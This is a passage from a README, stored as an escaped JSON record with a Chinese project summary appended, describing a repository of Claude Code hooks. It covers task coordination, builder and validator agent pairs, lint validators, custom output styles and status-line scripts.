-------------------------------------------------------- |\n| `TaskCreate` | Create new tasks with owners, descriptions, dependencies |\n| `TaskUpdate` | Update status, add blockers, communicate completion      |\n| `TaskList`   | View all tasks and their current state                   |\n| `TaskGet`    | Retrieve full task details                               |\n\n**How it works:**\n1. Primary agent creates a task list with specific owners (builder\u002Fvalidator)\n2. Tasks can run in parallel or have dependency blockers\n3. Subagents complete work and ping back to the primary agent\n4. Primary agent reacts in real-time as work completes\n5. Blocked tasks automatically unblock when dependencies finish\n\nThis enables longer-running threads of work because the task system handles coordination—no bash sleep loops needed.\n\n#### 3. Templating\n\n`\u002Fplan_w_team` is a **template meta prompt**—a prompt that generates prompts in a specific, vetted format:\n\n```markdown\n## Plan Format (embedded in the meta prompt)\n\n### {{PLAN_NAME}}\n**Task:** {{TASK_DESCRIPTION}}\n**Objective:** {{OBJECTIVE}}\n\n### Team Orchestration\n{{TEAM_MEMBERS}}\n\n### Step-by-Step Tasks\n{{TASKS}}\n```\n\nThe generated plan follows your engineering patterns exactly. This is the difference between agentic engineering and \"vibe coding\"—you know the outcome your agent will generate because you've templated the format.\n\n### Team Agents\n\n| Agent         | File                | Tools                     | Self-Validation        | Purpose                                         |\n| ------------- | ------------------- | ------------------------- | ---------------------- | ----------------------------------------------- |\n| **Builder**   | `team\u002Fbuilder.md`   | All tools                 | Ruff + Ty on .py files | Execute implementation tasks, build the thing   |\n| **Validator** | `team\u002Fvalidator.md` | Read-only (no Write\u002FEdit) | None                   | Verify builder's work meets acceptance criteria |\n\nThis two-agent pairing increases compute to increase trust that work was delivered correctly.\n\n### Code Quality Validators\n\nPostToolUse validators automatically enforce code quality:\n\n| Validator | File                | Trigger                 | Action                |\n| --------- | ------------------- | ----------------------- | --------------------- |\n| **Ruff**  | `ruff_validator.py` | Write\u002FEdit on .py files | Blocks on lint errors |\n| **Ty**    | `ty_validator.py`   | Write\u002FEdit on .py files | Blocks on type errors |\n\n### Workflow Example\n\n```bash\n# 1. Create a plan with team orchestration\n\u002Fplan_w_team\n\n# User prompt: \"Update the hooks documentation and add missing status lines\"\n# Orchestration prompt: \"Create groups of agents for each hook, one builder and one validator\"\n\n# 2. Plan is generated with:\n#    - Team members (session_end_builder, session_end_validator, etc.)\n#    - Step-by-step tasks with dependencies\n#    - Validation commands\n\n# 3. Execute the plan\n\u002Fbuild\n\n# 4. Watch agents work in parallel:\n#    - Builders implement features\n#    - Validators verify completion\n#    - Task system coordinates everything\n```\n\n### Configuration\n\n- `ruff.toml` - Ruff linter rules\n- `ty.toml` - Type checker settings\n- `.claude\u002Fagents\u002Fteam\u002F` - Team agent definitions\n\n## Output Styles Collection\n\n> **Watch the walkthrough:** See these features in action at [https:\u002F\u002Fyoutu.be\u002FmJhsWrEv-Go](https:\u002F\u002Fyoutu.be\u002FmJhsWrEv-Go)\n\n\u003Cimg src=\"images\u002Fgenui.png\" alt=\"GenUI Output Style\" style=\"max-width: 800px; width: 100%;\" \u002F>\n\nThis project includes a comprehensive collection of custom output styles (`.claude\u002Foutput-styles\u002F`) that transform how Claude Code communicates responses. See the [official documentation](https:\u002F\u002Fdocs.anthropic.com\u002Fen\u002Fdocs\u002Fclaude-code\u002Foutput-styles) for complete details on how output styles work.\n\n| Style                | Description                                        | Best For                                                |\n| -------------------- | -------------------------------------------------- | ------------------------------------------------------- |\n| **genui** ⭐          | **Generates beautiful HTML with embedded styling** | **Interactive visual outputs, instant browser preview** |\n| **table-based**      | Organizes all information in markdown tables       | Comparisons, structured data, status reports            |\n| **yaml-structured**  | Formats responses as YAML configuration            | Settings, hierarchical data, API responses              |\n| **bullet-points**    | Clean nested lists with dashes and numbers         | Action items, documentation, task tracking              |\n| **ultra-concise**    | Minimal words, maximum speed                       | Experienced devs, rapid prototyping                     |\n| **html-structured**  | Semantic HTML5 with data attributes                | Web documentation, rich formatting                      |\n| **markdown-focused** | Leverages all markdown features optimally          | Complex documentation, mixed content                    |\n| **tts-summary**      | Announces task completion via ElevenLabs TTS       | Audio feedback, accessibility                           |\n\n**Usage:** Run `\u002Foutput-style [name]` to activate any style (e.g., `\u002Foutput-style table-based`)\n\n**Location:** \n- Project styles: `.claude\u002Foutput-styles\u002F*.md` (this repo)\n- User styles: `~\u002F.claude\u002Foutput-styles\u002F*.md` (global)\n\nOutput styles modify Claude's system prompt to change response formatting without affecting core functionality. Each style is a markdown file with YAML frontmatter defining the name, description, and formatting instructions.\n\n\n## Custom Status Lines\n\n> **Watch the walkthrough:** See these features in action at [https:\u002F\u002Fyoutu.be\u002FmJhsWrEv-Go](https:\u002F\u002Fyoutu.be\u002FmJhsWrEv-Go)\n\nThis project includes enhanced Claude Code status lines that display real-time conversation context. Status lines provide dynamic information at the bottom of your terminal during Claude Code sessions. See the [official documentation](https:\u002F\u002Fdocs.anthropic.com\u002Fen\u002Fdocs\u002Fclaude-code\u002Fstatusline) for complete details.\n\n### Available Status Lines\n\n**Location:** `.claude\u002Fstatus_lines\u002F`\n\n| Version | File                | Description       | Features                                                        |\n| ------- | ------------------- | ----------------- | --------------------------------------------------------------- |\n| **v1**  | `status_line.py`    | Basic MVP         | Git branch, directory, model info                               |\n| **v2**  | `status_line_v2.py` | Smart prompts     | Latest prompt (250 chars), color-coded by task type             |\n| **v3**  | `status_line_v3.py` | Agent sessions    | Agent name, model, last 3 prompts                               |\n| **v4**  | `status_line_v4.py` | Extended metadata | Agent name, model, latest prompt, custom key-value pairs        |\n| **v5**  | `status_line_v5.py` | Cost tracking     | Model, cost ($), line changes (+\u002F-), session duration           |\n| **v6**  | `status_line_v6.py` | Context window    | Visual usage bar, percentage, tokens remaining                  |\n| **v7**  | `status_line_v7.py` | Duration timer    | Session time, start time, optional end time                     |\n| **v8**  | `status_line_v8.py` | Token\u002Fcache stats | Input\u002Foutput tokens, cache creation\u002Fread stats                  |\n| **v9**  | `status_line_v9.py` | Powerline minimal | Stylized segments with powerline separators, git branch, % used |\n\n### Session Management\n\nStatus lines leverage session data stored in `.claude\u002Fdata\u002Fsessions\u002F\u003Csession_id>.json`:\n\n```json\n{\n  \"session_id\": \"unique-session-id\",\n  \"prompts\": [\"first prompt\", \"second prompt\", ...],\n  \"agent_name\": \"Phoenix\",  \u002F\u002F Auto-generated unique name\n  \"extras\": {              \u002F\u002F v4: Custom metadata (optional)\n    \"project\": \"myapp\",\n    \"status\": \"debugging\",\n    \"environment\": \"prod\"\n  }\n}\n```\n\n**Agent Naming:**\n- Automatically generates unique agent names using LLM services\n- Priority: Ollama (local) → Anthropic → OpenAI → Fallback names\n- Names are single-word, memorable identifiers (e.g., Phoenix, Sage, Nova)\n- Enabled via `--name-agent` flag in `user_prompt_submit.py`\n\n**Custom Metadata (v4):**\n- Use `\u002Fupdate_status_line` command to add custom key-value pairs\n- Displayed at the end of the status line in cyan brackets\n- Persists across Claude Code interactions\n- Example: `\u002Fupdate_status_line \u003Csession_id> project myapp`\n\n### Configuration\n\nSet your preferred status line in `.claude\u002Fsettings.json`:\n\n```json\n{\n  \"statusLine\": {\n    \"type\": \"command\",\n    \"command\": \"uv run $CLAUDE_PROJECT_DIR\u002F.claude\u002Fstatus_lines\u002Fstatus_line_v3.py\"\n  }\n}\n```\n\n**Status Line Features:**\n- **Real-time updates** - Refreshes on message changes (300ms throttle)\n- **Color coding** - Visual indicators for different task types\n- **Smart truncation** - Manages long prompts elegantly\n- **Session persistence** - Maintains context across interactions\n\n**Task Type Indicators (v2\u002Fv3):**\n- 🔍 Purple - Analysis\u002Fsearch tasks\n- 💡 Green - Creation\u002Fimplementation tasks\n- 🔧 Yellow - Fix\u002Fdebug tasks\n- 🗑️ Red - Deletion tasks\n- ❓ Blue - Questions\n- 💬 Default - General conversation\n\n\n\n## Master Agentic Coding\n\n> Prepare for the future of software engineering\n\nLearn tactical agentic coding patterns with [Tactical Agentic Coding](https:\u002F\u002Fagenticengineer.com\u002Ftactical-agentic-coding?y=ssvhooks)\n\nFollow the [IndyDevDan YouTube channel](https:\u002F\u002Fwww.youtube.com\u002F@indydevdan) to improve your agentic coding advantage.","该项目旨在帮助开发者掌握如何使用Claude Code Hooks来控制Claude AI的行为，支持确定性和非确定性操作。其核心功能包括对13个生命周期事件的全面覆盖、子代理机制以及基于团队的验证系统等高级特性。技术上采用了Python语言，并可选集成ElevenLabs、OpenAI等多个外部服务以增强功能。适合于希望深入理解并自定义Claude AI工作流程的开发人员，在构建复杂对话系统或需要高度定制化AI行为的应用场景中尤为适用。",2,"2026-06-11 03:41:02","high_star"]